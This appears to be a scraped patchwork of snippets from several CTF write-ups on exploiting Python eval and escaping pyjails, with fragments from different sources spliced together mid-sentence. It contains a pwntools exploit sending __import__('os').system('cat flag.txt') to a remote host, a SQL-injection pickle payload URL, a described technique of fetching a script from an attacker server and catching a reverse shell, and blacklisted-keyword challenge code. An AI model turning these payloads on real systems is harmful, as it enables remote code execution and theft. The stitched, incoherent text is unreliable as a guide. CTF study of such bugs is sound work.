July 7, 2025 - This is from a recent CTF event. ... We see the win condition is guessing the same number the computer guesses between 0 and 2 **64. This will take a while. the good new is that there’s another way. Take a look at the source. There is an unsantitized eval function! We can actually get a shell on this game and execute arbitrary commands. So how do we get a shell? We need to use the Python OS module to interact with system.

This challenge involves exploiting a Python input 'eval' function.

This challenge involves exploiting a Python script's input 'eval' function using the script's imports.

Given that Python is my programming language of choice, it was fun to work on a Python-based challenge (rather than the low-level exploits that are more common in CTFs). The service that we’re trying to retrieve the flag from executes this script: #!/usr/bin/env python3 from sys import exit from secret import secret_value_for_password, flag, exec try: val = 0 inp = input("Input value: ") count_digits = len(set(inp)) if count_digits <= 10: # Make sure it is a number val = eval(inp) else: raise if val == secret_value_for_password: print(flag) else: print("Nope.

Pingback: Exploiting Python Code Injection in Web Applications – My Blog · python module evalidate (pip3 install evalidate) solves this problem. It parses untrusted user code into Abstract Syntax Tree (AST) and checks each node. Code is evaluated then only if it consist only of safe nodes.

Category: Script Exploitation Points: 90 Description: It is recommended that you complete Python Eval 1 before trying Python Eval 2.

Source. This challenge is very simliar to Python Eval 3. We're given a Python script to exploit and the task of getting a shell on the server running it ; in order to read the flag.

--- title: RedpwnCTF - Exploiting python eval to escape pyjails description: Writeup for 2 pyjails challenges exploiting eval function. categories: python, pyjail author: Xh4H tags: python ctf redpwnctf pyjail ---

If we faced the Python script as follow, we cannot use common modules used for escalating privileges ("os", "system", etc.). It appeared in Newbie CTF 2019. #! /usr/bin/python3 def main(): text = input('>> ') for keyword in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write']: if keyword in text: print("No!!!") return else: exec(text) if __name__ == "__main__": main()

The challenge consists of a simple Flask webapp that lets you eval arbitrary Python code in a jail in order to evaluate your solution to a leetcode-style programming challenge. The flag can be retrieved by running the /readflag setuid program.

The following exploit does just that: from pwn import * def xrust(data): global p print p.recvuntil('? ') p.sendline(data) p = remote('config-creator.ctf.insecurity-insa.fr', 10000) xrust('1') #register xrust('a') xrust('__import__("os").system("cat flag.txt")') xrust('1') #register xrust('eval(a)') xrust('{}') xrust('4') #config print p.recvline() # INSA{dont_get_me_wrong_i_love_python36}

November 15, 2023 - You return home.") else: return all(ord(x) < 0x7f for x in s) and all(x not in s for x in BLACKLIST) and check_balanced(s) def safe_eval(s, func): if not check(s): print("\U0001F6B6" + "\U0001F6B6" + "\U0001F6B6") else: try: print(eval(f"{func.__name__}({s})", {"__builtins__": {func.__name__: func}, "flag": FLAG})) except: print("Error") if __name__ == "__main__": while True: inp = input("Input : ") safe_eval(inp, type)

The empty dict given to eval as its second parameter and the in {} after the exec both mean the same thing, that the code should be evaluated in a new empty scope. So we can’t (in theory) pass stuff from the eval to the exec, or interact with the outer-world in any way. Most of python are just references, and this we can see here again.

In order to abuse this behavior, we can use __import__ to import a module and ultimately, we want it to eval the following: ... We catch a shell. Now let's point it to our victim: ... We catch our shell from the victim. If we wanted to fix our Python script, we'd use raw_input instead of input:

April 11, 2023 - A common CTF example is a calculator embedded in a web app that takes user input and then sends that input directly to eval() as an argument. Here is OWASP’s summary of this vulnerability along with a basic PHP code injection example. A good way to understand how code injection through the Python eval() method works is by doing this yourself in the Python CLI.

```python #!/usr/local/bin/python import time flag="pearl{f4k3_fl4g}" blacklist=list("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~`![]{},<>/123456789") def banner(): file=open("txt.txt","r").read() print(file) def check_blocklist(string): for i in string: if i in blacklist: return(0) return(1) def main(): banner() cmd=input(">>> ") time.sleep(1) if(check_blocklist(cmd)): try: print(eval(cmd)) except: print("Sorry no valid output to show.") else: print("Your sentence has been increased by 2 years for attempted escape.")

To get this exploit working in injection payload, I had to use as a separator between every line of above output (to be sure that Pickle deserializes payload in right way). Here's an example how to get result of ls -l command: http://54.84.124.93/?cat=1+and+1=2+union+select+1,2,"c__builtin__ eval (S'os.listdir('var/www')' tR.",4/**/

January 16, 2021 - How Python 3's eval works and how to abuse it from an attacker perspective to evade its protections.

April 16, 2018 - The Popen object immediately executes my arbitrary OS commands to load a python script from my server and then runs it with python on the remote server. Finally, got shell. < @TODO: insert an exciting reverse shell pic here> At this stage, we completely circumvented all protections and captured the flag ! It is worth to mention that there are more than one way to exploit this challenge, another writeup from p4 team uses input() to eval arbitrary python code and accomplished RCE.